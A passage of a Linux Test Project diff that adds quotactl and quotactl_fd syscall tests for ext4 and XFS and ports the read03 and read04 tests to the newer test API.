-		tst_brk(TBROK | TTERRNO, "quotactl with Q_XQUOTAOFF failed");
+	quotactl_info();
 
-	TEST(quotactl(QCMD(Q_XQUOTARM, USRQUOTA), tst_device->dev, 0, (void *)&valid_type));
-	if (TST_ERR == EINVAL)
-		tst_brk(TCONF, "current system doesn't support Q_XQUOTARM, skip it");
+	/*
+	 * Ensure superblock has quota data, but not running. In here, we must unmount
+	 * completely and mount again with '-o no quota' because 'mount -o remount, noquota'
+	 * isn't sufficient to disable accounting feature.
+	 */
+	SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, "usrquota");
+	mount_flag = 1;
+	SAFE_UMOUNT(MNTPOINT);
+	mount_flag = 0;
+	SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, "noquota");
+	mount_flag = 1;
+
+	fd = SAFE_OPEN(MNTPOINT, O_RDONLY);
+}
+
+static void cleanup(void)
+{
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+	if (mount_flag && tst_umount(MNTPOINT))
+		tst_res(TWARN | TERRNO, "umount(%s)", MNTPOINT);
 }
 
 static struct tst_test test = {
 	.setup = setup,
+	.cleanup = cleanup,
 	.needs_root = 1,
 	.needs_kconfigs = (const char *[]) {
 		"CONFIG_XFS_QUOTA",
 		NULL
 	},
 	.test_all = verify_quota,
-	.mount_device = 1,
+	.format_device = 1,
 	.dev_fs_type = "xfs",
-	.mnt_data = "usrquota",
 	.mntpoint = MNTPOINT,
+	.test_variants = QUOTACTL_SYSCALL_VARIANTS,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "3dd4d40b4208"},
 		{}
diff --git a/testcases/kernel/syscalls/quotactl/quotactl08.c b/testcases/kernel/syscalls/quotactl/quotactl08.c
new file mode 100644
index 0000000..da1d62a
--- /dev/null
+++ b/testcases/kernel/syscalls/quotactl/quotactl08.c
@@ -0,0 +1,227 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 FUJITSU LIMITED. All rights reserved
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ * This testcases checks that quotactl(2) on ext4 filesystem succeeds to:
+ *
+ * - turn on quota with Q_QUOTAON flag for user
+ * - set disk quota limits with Q_SETQUOTA flag for user
+ * - get disk quota limits with Q_GETQUOTA flag for user
+ * - set information about quotafile with Q_SETINFO flag for user
+ * - get information about quotafile with Q_GETINFO flag for user
+ * - get quota format with Q_GETFMT flag for user
+ * - update quota usages with Q_SYNC flag for user
+ * - get disk quota limit greater than or equal to ID with Q_GETNEXTQUOTA flag for user
+ * - turn off quota with Q_QUOTAOFF flag for user
+ * - turn on quota with Q_QUOTAON flag for group
+ * - set disk quota limits with Q_SETQUOTA flag for group
+ * - get disk quota limits with Q_GETQUOTA flag for group
+ * - set information about quotafile with Q_SETINFO flag for group
+ * - get information about quotafile with Q_GETINFO flag for group
+ * - get quota format with Q_GETFMT flag for group
+ * - update quota usages with Q_SYNC flag for group
+ * - get disk quota limit greater than or equal to ID with Q_GETNEXTQUOTA flag for group
+ * - turn off quota with Q_QUOTAOFF flag for group
+ *
+ * It is similar to quotactl01.c, only two difference
+ * - use new quotactl_fd syscalls if supports
+ * - quota file hidden in filesystem
+ *
+ * Minimum e2fsprogs version required is 1.43.
+ */
+
+#include <errno.h>
+#include <string.h>
+#include <unistd.h>
+#include "tst_test.h"
+#include "quotactl_syscall_var.h"
+
+#define MNTPOINT	"mntpoint"
+
+static int32_t fmt_id = QFMT_VFS_V1;
+static int test_id, mount_flag;
+static struct dqblk set_dq = {
+	.dqb_bsoftlimit = 100,
+	.dqb_valid = QIF_BLIMITS
+};
+static struct dqblk res_dq;
+
+static struct dqinfo set_qf = {
+	.dqi_bgrace = 80,
+	.dqi_valid = IIF_BGRACE
+};
+static struct dqinfo res_qf;
+static int32_t fmt_buf;
+static int getnextquota_nsup;
+
+static struct if_nextdqblk res_ndq;
+
+static struct tcase {
+	int cmd;
+	int *id;
+	void *addr;
+	void *set_data;
+	void *res_data;
+	int sz;
+	char *des;
+	char *tname;
+} tcases[] = {
+	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, NULL,
+	NULL, NULL, 0, "turn on quota for user",
+	"QCMD(Q_QUOTAON, USRQUOTA)"},
+
+	{QCMD(Q_SETQUOTA, USRQUOTA), &test_id, &set_dq,
+	NULL, NULL, 0, "set disk quota limit for user",
+	"QCMD(Q_SETQUOTA, USRQUOTA)"},
+
+	{QCMD(Q_GETQUOTA, USRQUOTA), &test_id, &res_dq,
+	&set_dq.dqb_bsoftlimit, &res_dq.dqb_bsoftlimit,
+	sizeof(res_dq.dqb_bsoftlimit), "get disk quota limit for user",
+	"QCMD(Q_GETQUOTA, USRQUOTA)"},
+
+	{QCMD(Q_SETINFO, USRQUOTA), &test_id, &set_qf,
+	NULL, NULL, 0, "set information about quotafile for user",
+	"QCMD(Q_SETINFO, USRQUOTA)"},
+
+	{QCMD(Q_GETINFO, USRQUOTA), &test_id, &res_qf,
+	&set_qf.dqi_bgrace, &res_qf.dqi_bgrace, sizeof(res_qf.dqi_bgrace),
+	"get information about quotafile for user",
+	"QCMD(Q_GETINFO, USRQUOTA)"},
+
+	{QCMD(Q_GETFMT, USRQUOTA), &test_id, &fmt_buf,
+	&fmt_id, &fmt_buf, sizeof(fmt_buf),
+	"get quota format for user",
+	"QCMD(Q_GETFMT, USRQUOTA)"},
+
+	{QCMD(Q_SYNC, USRQUOTA), &test_id, &res_dq,
+	NULL, NULL, 0, "update quota usages for user",
+	"QCMD(Q_SYNC, USRQUOTA)"},
+
+	{QCMD(Q_GETNEXTQUOTA, USRQUOTA), &test_id, &res_ndq,
+	&test_id, &res_ndq.dqb_id, sizeof(res_ndq.dqb_id),
+	"get next disk quota limit for user",
+	"QCMD(Q_GETNEXTQUOTA, USRQUOTA)"},
+
+	{QCMD(Q_QUOTAOFF, USRQUOTA), &test_id, NULL,
+	NULL, NULL, 0, "turn off quota for user",
+	"QCMD(Q_QUOTAOFF, USRQUOTA)"},
+
+	{QCMD(Q_QUOTAON, GRPQUOTA), &fmt_id, NULL,
+	NULL, NULL, 0, "turn on quota for group",
+	"QCMD(Q_QUOTAON, GRPQUOTA)"},
+
+	{QCMD(Q_SETQUOTA, GRPQUOTA), &test_id, &set_dq,
+	NULL, NULL, 0, "set disk quota limit for group",
+	"QCMD(Q_SETQUOTA, GRPQUOTA)"},
+
+	{QCMD(Q_GETQUOTA, GRPQUOTA), &test_id, &res_dq, &set_dq.dqb_bsoftlimit,
+	&res_dq.dqb_bsoftlimit, sizeof(res_dq.dqb_bsoftlimit),
+	"set disk quota limit for group",
+	"QCMD(Q_GETQUOTA, GRPQUOTA)"},
+
+	{QCMD(Q_SETINFO, GRPQUOTA), &test_id, &set_qf,
+	NULL, NULL, 0, "set information about quotafile for group",
+	"QCMD(Q_SETINFO, GRPQUOTA)"},
+
+	{QCMD(Q_GETINFO, GRPQUOTA), &test_id, &res_qf, &set_qf.dqi_bgrace,
+	&res_qf.dqi_bgrace, sizeof(res_qf.dqi_bgrace),
+	"get information about quotafile for group",
+	"QCMD(Q_GETINFO, GRPQUOTA)"},
+
+	{QCMD(Q_GETFMT, GRPQUOTA), &test_id, &fmt_buf,
+	&fmt_id, &fmt_buf, sizeof(fmt_buf), "get quota format for group",
+	"QCMD(Q_GETFMT, GRPQUOTA)"},
+
+	{QCMD(Q_SYNC, GRPQUOTA), &test_id, &res_dq,
+	NULL, NULL, 0, "update quota usages for group",
+	"QCMD(Q_SYNC, GRPQUOTA)"},
+
+	{QCMD(Q_GETNEXTQUOTA, GRPQUOTA), &test_id, &res_ndq,
+	&test_id, &res_ndq.dqb_id, sizeof(res_ndq.dqb_id),
+	"get next disk quota limit for group",
+	"QCMD(Q_GETNEXTQUOTA, GRPQUOTA)"},
+
+	{QCMD(Q_QUOTAOFF, GRPQUOTA), &test_id, NULL,
+	NULL, NULL, 0, "turn off quota for group",
+	"QCMD(Q_QUOTAOFF, GRPQUOTA)"},
+};
+
+static void setup(void)
+{
+	const char *const fs_opts[] = { "-O quota", NULL};
+
+	quotactl_info();
+
+	SAFE_MKFS(tst_device->dev, tst_device->fs_type, fs_opts, NULL);
+	SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL);
+	mount_flag = 1;
+
+	fd = SAFE_OPEN(MNTPOINT, O_RDONLY);
+	TEST(do_quotactl(fd, QCMD(Q_GETNEXTQUOTA, USRQUOTA), tst_device->dev,
+		0, (void *) &res_ndq));
+	if (TST_ERR == EINVAL || TST_ERR == ENOSYS)
+		getnextquota_nsup = 1;
+}
+
+static void cleanup(void)
+{
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+	if (mount_flag && tst_umount(MNTPOINT))
+		tst_res(TWARN | TERRNO, "umount(%s)", MNTPOINT);
+}
+
+static void verify_quota(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+
+	res_dq.dqb_bsoftlimit = 0;
+	res_qf.dqi_igrace = 0;
+	fmt_buf = 0;
+	res_ndq.dqb_id = -1;
+
+	tst_res(TINFO, "Test #%d: %s", n, tc->tname);
+	if ((tc->cmd == QCMD(Q_GETNEXTQUOTA, USRQUOTA) ||
+		tc->cmd == QCMD(Q_GETNEXTQUOTA, GRPQUOTA)) &&
+		getnextquota_nsup) {
+		tst_res(TCONF, "current system doesn't support this cmd");
+		return;
+	}
+	TST_EXP_PASS_SILENT(do_quotactl(fd, tc->cmd, tst_device->dev, *tc->id, tc->addr),
+		"do_quotactl()");
+	if (!TST_PASS)
+		return;
+
+	if (memcmp(tc->res_data, tc->set_data, tc->sz)) {
+		tst_res(TFAIL, "quotactl failed to %s", tc->des);
+		tst_res_hexd(TINFO, tc->res_data, tc->sz, "retval:   ");
+		tst_res_hexd(TINFO, tc->set_data, tc->sz, "expected: ");
+		return;
+	}
+
+	tst_res(TPASS, "quotactl succeeded to %s", tc->des);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_drivers = (const char *const []) {
+		"quota_v2",
+		NULL
+	},
+	.test = verify_quota,
+	.tcnt = ARRAY_SIZE(tcases),
+	.mntpoint = MNTPOINT,
+	.dev_fs_type = "ext4",
+	.needs_device = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_variants = QUOTACTL_SYSCALL_VARIANTS,
+	.needs_cmds = (const char *[]) {
+		"mkfs.ext4 >= 1.43.0",
+		NULL
+	}
+};
diff --git a/testcases/kernel/syscalls/quotactl/quotactl09.c b/testcases/kernel/syscalls/quotactl/quotactl09.c
new file mode 100644
index 0000000..9a03bff
--- /dev/null
+++ b/testcases/kernel/syscalls/quotactl/quotactl09.c
@@ -0,0 +1,189 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Tests basic error handling of the quotactl syscall without visible quota files
+ * (use quotactl and quotactl_fd syscall):
+ *
+ * - EFAULT when addr or special is invalid
+ * - EINVAL when cmd or type is invalid
+ * - ENOTBLK when special is not a block device
+ * - ERANGE when cmd is Q_SETQUOTA, but the specified limits are out of the range
+ *   allowed by the quota format
+ * - EPERM when the caller lacked the required privilege (CAP_SYS_ADMIN) for the
+ *   specified operation
+ * - ENOSYS when cmd is Q_QUOTAON, but the fd refers to a socket
+ *
+ * Minimum e2fsprogs version required is 1.43.
+ */
+
+#include <errno.h>
+#include <sys/quota.h>
+#include <sys/socket.h>
+#include "tst_test.h"
+#include "tst_capability.h"
+#include "quotactl_syscall_var.h"
+
+#define OPTION_INVALID 999
+
+static int32_t fmt_id = QFMT_VFS_V1;
+static int test_id;
+static int getnextquota_nsup, socket_fd = -1;
+
+static struct if_nextdqblk res_ndq;
+
+static struct dqblk set_dqmax = {
+	.dqb_bsoftlimit = 0x7fffffffffffffffLL,  /* 2^63-1 */
+	.dqb_valid = QIF_BLIMITS
+};
+
+static struct tst_cap dropadmin = {
+	.action = TST_CAP_DROP,
+	.id = CAP_SYS_ADMIN,
+	.name = "CAP_SYS_ADMIN",
+};
+
+static struct tst_cap needadmin = {
+	.action = TST_CAP_REQ,
+	.id = CAP_SYS_ADMIN,
+	.name = "CAP_SYS_ADMIN",
+};
+
+static struct tcase {
+	int cmd;
+	int *id;
+	void *addr;
+	int exp_err;
+	int on_flag;
+	char *des;
+} tcases[] = {
+	{QCMD(Q_SETQUOTA, USRQUOTA), &fmt_id, NULL, EFAULT, 1,
+	"EFAULT when addr or special is invalid"},
+
+	{QCMD(OPTION_INVALID, USRQUOTA), &fmt_id, NULL, EINVAL, 0,
+	"EINVAL when cmd or type is invalid"},
+
+	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, NULL, ENOTBLK, 0,
+	"ENOTBLK when special is not a block device"},
+
+	{QCMD(Q_SETQUOTA, USRQUOTA), &test_id, &set_dqmax, ERANGE, 1,
+	"ERANGE when cmd is Q_SETQUOTA, but the specified limits are out of the range"},
+
+	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, NULL, EPERM, 0,
+	"EPERM when the caller lacks required privilege(CAP_SYS_ADMIN)"},
+
+	{QCMD(Q_QUOTAON, USRQUOTA), &fmt_id, NULL, ENOSYS, 0,
+	"EINVAL when cmd is Q_QUOTAON, but the fd refers to a socket"}
+};
+
+static void verify_quotactl(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	int quota_on = 0;
+	int drop_flag = 0;
+
+	tst_res(TINFO, "Testing %s", tc->des);
+	if (tc->cmd == QCMD(Q_GETNEXTQUOTA, USRQUOTA) && getnextquota_nsup) {
+		tst_res(TCONF, "current system doesn't support Q_GETNEXTQUOTA");
+		return;
+	}
+
+	if (tc->on_flag) {
+		TST_EXP_PASS_SILENT(do_quotactl(fd, QCMD(Q_QUOTAON, USRQUOTA), tst_device->dev,
+			fmt_id, NULL), "do_quotactl(QCMD(Q_QUOTAON, USRQUOTA))");
+		if (!TST_PASS)
+			return;
+		quota_on = 1;
+	}
+
+	if (tc->exp_err == EPERM) {
+		tst_cap_action(&dropadmin);
+		drop_flag = 1;
+	}
+
+	if (tst_variant) {
+		if (tc->exp_err == ENOTBLK) {
+			tst_res(TCONF, "quotactl_fd() doesn't have this error, skip");
+			return;
+		}
+		if (tc->exp_err == ENOSYS) {
+			TST_EXP_FAIL(syscall(__NR_quotactl_fd, socket_fd, tc->cmd, *tc->id,
+				tc->addr), tc->exp_err, "syscall(quotactl_fd)");
+			return;
+		}
+	} else {
+		if (tc->exp_err == ENOSYS) {
+			tst_res(TCONF, "quotactl() doesn't use fd, skip");
+			return;
+		}
+	}
+	if (tc->exp_err == ENOTBLK)
+		TST_EXP_FAIL(do_quotactl(fd, tc->cmd, "/dev/null", *tc->id, tc->addr),
+			ENOTBLK, "do_quotactl()");
+	else
+		TST_EXP_FAIL(do_quotactl(fd, tc->cmd, tst_device->dev, *tc->id, tc->addr),
+			tc->exp_err, "do_quotactl()");
+
+	if (quota_on) {
+		TST_EXP_PASS_SILENT(do_quotactl(fd, QCMD(Q_QUOTAOFF, USRQUOTA), tst_device->dev,
+			fmt_id, NULL), "do_quotactl(QCMD(Q_QUOTAOFF, USRQUOTA)");
+		if (!TST_PASS)
+			return;
+	}
+
+	if (drop_flag)
+		tst_cap_action(&needadmin);
+}
+
+static void setup(void)
+{
+	unsigned int i;
+
+	quotactl_info();
+
+	socket_fd = SAFE_SOCKET(PF_INET, SOCK_STREAM, 0);
+	fd = SAFE_OPEN(MNTPOINT, O_RDONLY);
+	TEST(do_quotactl(fd, QCMD(Q_GETNEXTQUOTA, USRQUOTA), tst_device->dev,
+		test_id, (void *) &res_ndq));
+	if (TST_ERR == EINVAL || TST_ERR == ENOSYS)
+		getnextquota_nsup = 1;
+
+	for (i = 0; i < ARRAY_SIZE(tcases); i++) {
+		if (!tcases[i].addr)
+			tcases[i].addr = tst_get_bad_addr(NULL);
+	}
+}
+
+static void cleanup(void)
+{
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+	if (socket_fd > -1)
+		SAFE_CLOSE(socket_fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_drivers = (const char *const []) {
+		"quota_v2",
+		NULL
+	},
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_quotactl,
+	.dev_fs_opts = (const char *const[]){"-O quota", NULL},
+	.dev_fs_type = "ext4",
+	.mntpoint = MNTPOINT,
+	.mount_device = 1,
+	.needs_root = 1,
+	.test_variants = QUOTACTL_SYSCALL_VARIANTS,
+	.needs_cmds = (const char *[]) {
+		"mkfs.ext4 >= 1.43.0",
+		NULL
+	}
+};
diff --git a/testcases/kernel/syscalls/quotactl/quotactl_fmt_var.h b/testcases/kernel/syscalls/quotactl/quotactl_fmt_var.h
new file mode 100644
index 0000000..cb9fa46
--- /dev/null
+++ b/testcases/kernel/syscalls/quotactl/quotactl_fmt_var.h
@@ -0,0 +1,22 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+#ifndef LTP_QUOTACTL_FMT_VAR_H
+#define LTP_QUOTACTL_FMT_VAR_H
+
+#include "lapi/quotactl.h"
+
+#define QUOTACTL_FMT_VARIANTS 2
+
+static struct quotactl_fmt_variant {
+	int32_t fmt_id;
+	const char *fmt_name;
+} fmt_variants[] = {
+	{.fmt_id = QFMT_VFS_V0, .fmt_name = "vfsv0"},
+	{.fmt_id = QFMT_VFS_V1, .fmt_name = "vfsv1"}
+};
+
+#endif /* LAPI_QUOTACTL_FMT_VAR_H__ */
diff --git a/testcases/kernel/syscalls/quotactl/quotactl_syscall_var.h b/testcases/kernel/syscalls/quotactl/quotactl_syscall_var.h
new file mode 100644
index 0000000..3d1a2c8
--- /dev/null
+++ b/testcases/kernel/syscalls/quotactl/quotactl_syscall_var.h
@@ -0,0 +1,32 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+#ifndef LTP_QUOTACTL_SYSCALL_VAR_H
+#define LTP_QUOTACTL_SYSCALL_VAR_H
+
+#include "lapi/quotactl.h"
+
+#define QUOTACTL_SYSCALL_VARIANTS 2
+#define MNTPOINT "mntpoint"
+
+static int fd = -1;
+
+static int do_quotactl(int fd, int cmd, const char *special, int id, caddr_t addr)
+{
+	if (tst_variant == 0)
+		return quotactl(cmd, special, id, addr);
+	return quotactl_fd(fd, cmd, id, addr);
+}
+
+static void quotactl_info(void)
+{
+	if (tst_variant == 0)
+		tst_res(TINFO, "Test quotactl()");
+	else
+		tst_res(TINFO, "Test quotactl_fd()");
+}
+
+#endif /* LTP_QUOTACTL_SYSCALL_VAR_H */
diff --git a/testcases/kernel/syscalls/read/read03.c b/testcases/kernel/syscalls/read/read03.c
index 28554f5..ee92a32 100644
--- a/testcases/kernel/syscalls/read/read03.c
+++ b/testcases/kernel/syscalls/read/read03.c
@@ -1,146 +1,56 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
  */
 
-/*
- * NAME
- *	read03.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to check that read() sets errno to EAGAIN
- *
- * ALGORITHM
- *	Create a named pipe (fifo), open it in O_NONBLOCK mode, and
- *	attempt to read from it, without writing to it. read() should fail
- *	with EAGAIN.
- *
- * USAGE:  <for command-line>
- *  read03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	NONE
+ * Testcase to check if read() successfully sets errno to EAGAIN when read from
+ * a pipe (fifo, opened in O_NONBLOCK mode) without writing to it.
  */
-#include <sys/stat.h>
+
+#include <stdio.h>
 #include <fcntl.h>
-#include <signal.h>
-#include <errno.h>
-#include "test.h"
+#include "tst_test.h"
 
-char *TCID = "read03";
-int TST_TOTAL = 1;
+static char fifo[100];
+static int rfd, wfd;
 
-char fifo[100] = "fifo";
-int rfd, wfd;
-struct stat buf;
-
-void alarm_handler();
-void setup();
-void cleanup();
-
-int main(int ac, char **av)
+static void verify_read(void)
 {
-	int lc;
-
 	int c;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	/*
-	 * The following loop checks looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		TEST(read(rfd, &c, 1));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "read() failed to fail when nothing "
-				 "is written to a pipe");
-			continue;
-		}
-
-		if (TEST_ERRNO != EAGAIN) {
-			tst_resm(TFAIL, "read set bad errno, expected "
-				 "EAGAIN, got %d", TEST_ERRNO);
-		} else {
-			tst_resm(TPASS, "read() succeded in setting errno to "
-				 "EAGAIN");
-		}
-	}
-	cleanup();
-	tst_exit();
-
+	TST_EXP_FAIL(read(rfd, &c, 1), EAGAIN,
+		     "read() when nothing is written to a pipe");
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test
- */
-void setup(void)
+static void setup(void)
 {
+	struct stat buf;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	sprintf(fifo, "fifo.%d", getpid());
 
-	TEST_PAUSE;
+	SAFE_MKNOD(fifo, S_IFIFO | 0777, 0);
+	SAFE_STAT(fifo, &buf);
 
-	/* create a temporary filename */
-	sprintf(fifo, "%s.%d", fifo, getpid());
+	if ((buf.st_mode & S_IFIFO) == 0)
+		tst_brk(TBROK, "Mode does not indicate fifo file");
 
-	/* Create a temporary directory and cd to it */
-	tst_tmpdir();
-
-	if (mknod(fifo, S_IFIFO | 0777, 0) < 0) {
-		tst_brkm(TBROK, cleanup, "mknod() failed, errno: %d", errno);
-	}
-	if (stat(fifo, &buf) != 0) {
-		tst_brkm(TBROK, cleanup, "stat() failed, errno: %d", errno);
-	}
-	if ((buf.st_mode & S_IFIFO) == 0) {
-		tst_brkm(TBROK, cleanup, "Mode does not indicate fifo file");
-	}
-
-	rfd = open(fifo, O_RDONLY | O_NONBLOCK);
-	wfd = open(fifo, O_WRONLY | O_NONBLOCK);
+	rfd = SAFE_OPEN(fifo, O_RDONLY | O_NONBLOCK);
+	wfd = SAFE_OPEN(fifo, O_WRONLY | O_NONBLOCK);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-
-	close(rfd);
-	close(wfd);
-	unlink(fifo);
-
-	/* delete the test directory created in setup() */
-	tst_rmdir();
-
+	SAFE_CLOSE(rfd);
+	SAFE_CLOSE(wfd);
+	SAFE_UNLINK(fifo);
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_read,
+};
diff --git a/testcases/kernel/syscalls/read/read04.c b/testcases/kernel/syscalls/read/read04.c
index 11469ad..47875c0 100644
--- a/testcases/kernel/syscalls/read/read04.c
+++ b/testcases/kernel/syscalls/read/read04.c
@@ -1,150 +1,60 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
  */
 
-/*
- * NAME
- *	read04.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to check if read returns the number of bytes read correctly.
- *
- * ALGORITHM
- *	Create a file and write some bytes out to it.
- *	Attempt to read more than written.
- *	Check the return count, and the read buffer. The read buffer should be
- *	same as the write buffer.
- *
- * USAGE:  <for command-line>
- *  read04 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None
+ * Testcase to check if read() returns the number of bytes read correctly.
  */
+
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <stdio.h>
 #include <fcntl.h>
-#include <errno.h>
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
-void cleanup(void);
-void setup(void);
+static const char *fname = "test_file";
+static const char palfa[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+#define PALFA_LEN (sizeof(palfa)-1)
 
-char *TCID = "read04";
-int TST_TOTAL = 1;
-
-#define TST_SIZE	27	/* could also do strlen(palfa) */
-char fname[255];
-char palfa[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
-int fild;
-
-int main(int ac, char **av)
+static void verify_read(void)
 {
-	int lc;
-
-	int rfild;
+	int fd;
 	char prbuf[BUFSIZ];
 
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
+	fd = SAFE_OPEN(fname, O_RDONLY);
+	TEST(read(fd, prbuf, BUFSIZ));
 
-	setup();		/* global setup for test */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;	/* reset tst_count while looping */
-
-		if ((rfild = open(fname, O_RDONLY)) == -1) {
-			tst_brkm(TBROK, cleanup, "can't open for reading");
-		}
-		TEST(read(rfild, prbuf, BUFSIZ));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "call failed unexpectedly");
-			continue;
-		}
-
-		if (TEST_RETURN != TST_SIZE) {
-			tst_resm(TFAIL, "Bad read count - got %ld - "
-				 "expected %d", TEST_RETURN, TST_SIZE);
-			continue;
-		}
-		if (memcmp(palfa, prbuf, TST_SIZE) != 0) {
-			tst_resm(TFAIL, "read buffer not equal "
-				 "to write buffer");
-			continue;
-		}
-		tst_resm(TPASS, "functionality of read() is correct");
-
-		SAFE_CLOSE(cleanup, rfild);
+	if (TST_RET != PALFA_LEN) {
+		tst_res(TFAIL, "Bad read count - got %ld - expected %zu",
+				TST_RET, PALFA_LEN);
+		goto out;
 	}
 
-	cleanup();
-	tst_exit();
+	if (memcmp(palfa, prbuf, PALFA_LEN)) {
+		tst_res(TFAIL, "read buffer not equal to write buffer");
+		goto out;
+	}
+
+	tst_res(TPASS, "read() data correctly");
+
+out:
+	SAFE_CLOSE(fd);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test
- */
-void setup(void)
+static void setup(void)
 {
+	int fd;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	umask(0);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "tfile_%d", getpid());
-
-	if ((fild = creat(fname, 0777)) == -1) {
-		tst_brkm(TBROK, cleanup, "creat(%s, 0777) Failed, errno = %d"
-			 " : %s", fname, errno, strerror(errno));
-	}
-	if (write(fild, palfa, TST_SIZE) != TST_SIZE) {
-		tst_brkm(TBROK, cleanup, "can't write to Xread");
-	}
-	close(fild);
+	fd = SAFE_CREAT(fname, 0777);
+	SAFE_WRITE(1, fd, palfa, PALFA_LEN);
+	SAFE_CLOSE(fd);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at completion or
- *	       premature exit.
- */
-void cleanup(void)
-{
-
-	unlink(fname);
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.test_all = verify_read,
+};
diff --git a/testcases/kernel/syscalls/readahead/readahead01.c b/testcases/kernel/syscalls/readahead/readahead01.c
index a0be960..bdef794 100644
--- a/testcases/kernel/syscalls/readahead/readahead01.c
+++ b/testcases/kernel/syscalls/readahead/readahead01.c
@@ -3,8 +3,14 @@
  * Copyright (C) 2012 Linux Test Project, Inc.
  */
 
-/*
- * errno tests for readahead() syscall
+/*\
+ * [Description]
+ *
+ * Verify that readahead() syscall fails with:
+ *
+ * - EBADF when fd is not a valid file descriptor or is not open for reading.
+ * - EINVAL when fd does not refer to a file type to which readahead()
+ *          can be applied.
  */
 #define _GNU_SOURCE
 #include <errno.h>
